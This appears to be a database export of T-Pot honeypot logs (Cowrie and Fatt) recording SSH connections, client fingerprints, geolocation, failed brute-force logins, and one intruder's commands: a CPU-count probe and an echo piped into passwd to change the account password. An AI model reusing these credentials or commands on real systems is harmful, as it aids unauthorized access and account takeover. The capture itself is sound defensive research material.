35943	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:10:45.648239+03	2021-09-20 15:15:03.927691+03	{"_id": "wgYdA3wBvYTbRNuEpF5E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "daecd1cf5bab", "@version": "1", "timestamp": "2021-09-20T12:10:45.648239Z", "@timestamp": "2021-09-20T12:10:45.648Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35944	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:10:46.622271+03	2021-09-20 15:15:03.92869+03	{"_id": "xAYdA3wBvYTbRNuEqF4s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "660c738703e1", "@version": "1", "duration": 1.3056526184082031, "timestamp": "2021-09-20T12:10:46.622271Z", "@timestamp": "2021-09-20T12:10:46.622Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	RU
35945	5.188.62.219	109.199.241.180	Fatt	2021-09-20 15:10:45.373693+03	2021-09-20 15:15:03.929689+03	{"_id": "uwYdA3wBvYTbRNuEol6-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.219", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 55896, "dest_port": 22, "timestamp": "2021-09-20T12:10:45.373693", "@timestamp": "2021-09-20T12:10:45.373Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	RU
35946	183.17.231.81	109.199.241.180	Fatt	2021-09-20 15:10:45.647868+03	2021-09-20 15:15:03.93069+03	{"_id": "vAYdA3wBvYTbRNuEol6-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49646, "dest_port": 22, "timestamp": "2021-09-20T12:10:45.647868", "@timestamp": "2021-09-20T12:10:45.647Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35947	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:10:45.970304+03	2021-09-20 15:15:03.932689+03	{"_id": "wQYdA3wBvYTbRNuEpF5E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "acf9475303fa", "@version": "1", "duration": 2.9622490406036377, "timestamp": "2021-09-20T12:10:45.970304Z", "@timestamp": "2021-09-20T12:10:45.970Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35948	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:10:46.939628+03	2021-09-20 15:15:03.93369+03	{"_id": "xQYdA3wBvYTbRNuEqF4s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.login.failed", "message": "login attempt [alfresco/123456] failed", "session": "daecd1cf5bab", "@version": "1", "password": "123456", "username": "alfresco", "timestamp": "2021-09-20T12:10:46.939628Z", "@timestamp": "2021-09-20T12:10:46.939Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35949	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:10:48.250919+03	2021-09-20 15:15:03.93469+03	{"_id": "xwYdA3wBvYTbRNuErF4V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "daecd1cf5bab", "@version": "1", "duration": 2.9004201889038086, "timestamp": "2021-09-20T12:10:48.250919Z", "@timestamp": "2021-09-20T12:10:48.250Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35950	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 15:10:31.494609+03	2021-09-20 15:15:03.93569+03	{"_id": "lQYdA3wBvYTbRNuEaV6k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "34e821c54e3e", "@version": "1", "timestamp": "2021-09-20T12:10:31.494609Z", "@timestamp": "2021-09-20T12:10:31.494Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	VE
35951	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 15:10:34.68111+03	2021-09-20 15:15:03.936689+03	{"_id": "lwYdA3wBvYTbRNuEeV5F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.login.failed", "message": "login attempt [test/zaq1xsw2] failed", "session": "34e821c54e3e", "@version": "1", "password": "zaq1xsw2", "username": "test", "timestamp": "2021-09-20T12:10:34.681110Z", "@timestamp": "2021-09-20T12:10:34.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	VE
35952	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 15:10:30.659395+03	2021-09-20 15:15:03.93869+03	{"_id": "lAYdA3wBvYTbRNuEaV6k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "34e821c54e3e", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:10:30.659395Z", "@timestamp": "2021-09-20T12:10:30.659Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	VE
35953	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:05.748178+03	2021-09-20 15:15:03.93969+03	{"_id": "WQYdA3wBvYTbRNuE8l9w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:05.748178Z", "@timestamp": "2021-09-20T12:11:05.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
35954	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:06.366025+03	2021-09-20 15:15:03.941689+03	{"_id": "WgYdA3wBvYTbRNuE8l9w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "43.240.6.90", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6184897422790527, "duplicate": true, "timestamp": "2021-09-20T12:11:06.366025Z", "@timestamp": "2021-09-20T12:11:06.366Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
35955	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:07.423296+03	2021-09-20 15:15:03.942689+03	{"_id": "XAYdA3wBvYTbRNuE9l9a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "14ca151ae45746fcc4fef056362654ba07ca8363f13ef4c244290649289c4df4", "src_ip": "43.240.6.90", "ttylog": "log/tty/14ca151ae45746fcc4fef056362654ba07ca8363f13ef4c244290649289c4df4", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/14ca151ae45746fcc4fef056362654ba07ca8363f13ef4c244290649289c4df4 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6203491687774658, "duplicate": false, "timestamp": "2021-09-20T12:11:07.423296Z", "@timestamp": "2021-09-20T12:11:07.423Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
35956	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:06.804409+03	2021-09-20 15:15:03.94369+03	{"_id": "XwYdA3wBvYTbRNuE9l9c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:06.804409Z", "@timestamp": "2021-09-20T12:11:06.804Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
35957	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:06.805151+03	2021-09-20 15:15:03.944691+03	{"_id": "YAYdA3wBvYTbRNuE9l9c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:06.805151Z", "@timestamp": "2021-09-20T12:11:06.805Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	IN
35958	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:07.879366+03	2021-09-20 15:15:03.94569+03	{"_id": "awYdA3wBvYTbRNuE-l9E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "echo \\"gal\\\\nqftjGrJRyQmX\\\\nqftjGrJRyQmX\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: echo \\"gal\\\\nqftjGrJRyQmX\\\\nqftjGrJRyQmX\\\\n\\"|passwd", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:07.879366Z", "@timestamp": "2021-09-20T12:11:07.879Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
35959	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:08.499724+03	2021-09-20 15:15:03.94769+03	{"_id": "dAYdA3wBvYTbRNuE-l9H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "07b9db8810a61bfb805c366b153fb0c2a800474e5ebd2b3319209e1d5f859558", "src_ip": "43.240.6.90", "ttylog": "log/tty/07b9db8810a61bfb805c366b153fb0c2a800474e5ebd2b3319209e1d5f859558", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/07b9db8810a61bfb805c366b153fb0c2a800474e5ebd2b3319209e1d5f859558 after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6209783554077148, "duplicate": false, "timestamp": "2021-09-20T12:11:08.499724Z", "@timestamp": "2021-09-20T12:11:08.499Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
35960	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:11:08.307618+03	2021-09-20 15:15:03.94869+03	{"_id": "cgYdA3wBvYTbRNuE-l9E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", 